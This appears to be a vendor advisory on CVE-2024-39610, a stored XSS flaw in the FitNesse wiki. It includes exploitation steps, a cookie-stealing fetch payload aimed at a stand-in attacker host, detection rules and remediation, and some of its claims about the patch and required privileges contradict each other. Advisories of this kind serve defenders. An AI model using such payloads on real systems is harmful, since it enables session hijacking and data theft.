CVE-2024-39610
Executive Summary
CVE-2024-39610 is a stored cross-site scripting (XSS) vulnerability in FitNesse, a web-based wiki and test automation framework. The flaw exists in releases prior to 20241026, allowing an attacker to inject arbitrary scripts into the application. When a victim user views the malicious content, the script executes in their browser context, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to inject the payload.
- User Interaction (UI): Required (R) – The victim must click or view the crafted content.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a public patch (at the time of analysis) and the potential for social engineering campaigns make this a concern for organizations using FitNesse.
Deep Dive & Mechanics
FitNesse is a Java-based wiki that allows users to create and edit pages. The XSS vulnerability stems from insufficient sanitization of user-supplied input when rendering wiki content. An attacker can embed malicious JavaScript within wiki markup (e.g., in a table cell, link, or text block). When another user views the page, the script executes in the context of the FitNesse application.
The attack flow:
- Attacker crafts a wiki page or comment containing a payload like
<script>alert('XSS')</script>. - The payload is stored in the FitNesse backend (database or file system).
- A victim user navigates to the page.
- The server renders the page without proper encoding, causing the browser to execute the script.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 20241026 likely involves output encoding or input validation for all user-generated content.
Vulnerable vs. Patched Code
Vulnerable (pre-20241026):
// Example of vulnerable rendering (simplified)
public String renderContent(String wikiText) {
// No sanitization
return wikiText;
}
Patched (20241026):
// Example of patched rendering (simplified)
public String renderContent(String wikiText) {
// Apply HTML encoding to user input
String sanitized = StringEscapeUtils.escapeHtml4(wikiText);
// Then process wiki markup safely
return processWikiMarkup(sanitized);
}
The patch ensures that raw HTML/JavaScript is encoded before being sent to the browser, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable FitNesse instance (version < 20241026).
- Network access to the FitNesse web interface.
- Ability to create or edit wiki pages.
Steps:
- Log in to FitNesse (if authentication is required, obtain valid credentials).
- Navigate to a page you can edit (e.g.,
http://target:8080/MyPage). - Insert a payload into the page content:
<script>alert('XSS')</script> - Save the page.
- Send the page URL to a victim user.
- When the victim views the page, the script executes.
Advanced Payload (session hijacking):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual wiki page edits containing
<script>tags or event handlers. - Use web application firewalls (WAF) to block common XSS patterns.
- Review server logs for requests to
/editor/saveendpoints with suspicious parameters.
Hunting:
- Search for pages containing
script,onerror,onload, orjavascript:in the wiki content. - Check for outbound connections from the FitNesse server to unknown IPs (potential data exfiltration).
Lab Setup:
- Deploy a vulnerable FitNesse instance using Docker:
docker run -d -p 8080:80 fitnesse:fitnesse-20240701 - Access
http://localhost:8080. - Create a test page and inject the payload.
- Use a browser with developer tools to observe the script execution.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests from FitNesse server to attacker-controlled domains.
- Unusual
Refererheaders pointing to FitNesse pages with XSS payloads.
- Host:
- Wiki page content containing
<script>,<img onerror=, orjavascript:. - Modified
content.txtorproperties.xmlfiles in the FitNesse data directory.
- Wiki page content containing
- Logs:
- Repeated
POSTrequests to/editor/savewith encoded JavaScript. - Browser console errors related to cross-origin requests (if payload attempts data exfiltration).
- Repeated
Detection Engineering
YARA Rule
rule CVE_2024_39610_XSS_Payload {
meta:
description = "Detects XSS payloads targeting FitNesse CVE-2024-39610"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-39610"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: FitNesse XSS Attempt (CVE-2024-39610)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in FitNesse wiki page edits
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/edit'
- '/save'
cs-uri-query|re:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in wiki content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-39610 FitNesse XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/edit"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade FitNesse to version 20241026 or later.
- If upgrade is not possible, restrict network access to the FitNesse web interface (e.g., VPN only).
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
Long-term Measures:
- Enforce input validation and output encoding for all user-generated content.
- Conduct regular security audits of the FitNesse instance.
- Monitor for new CVEs and apply patches promptly.
Workaround:
- Disable wiki page editing for untrusted users (if feasible).
- Use a reverse proxy to sanitize responses (e.g., ModSecurity with OWASP CRS).
Valters IT
DevSecOps & Cyber Threat Intelligence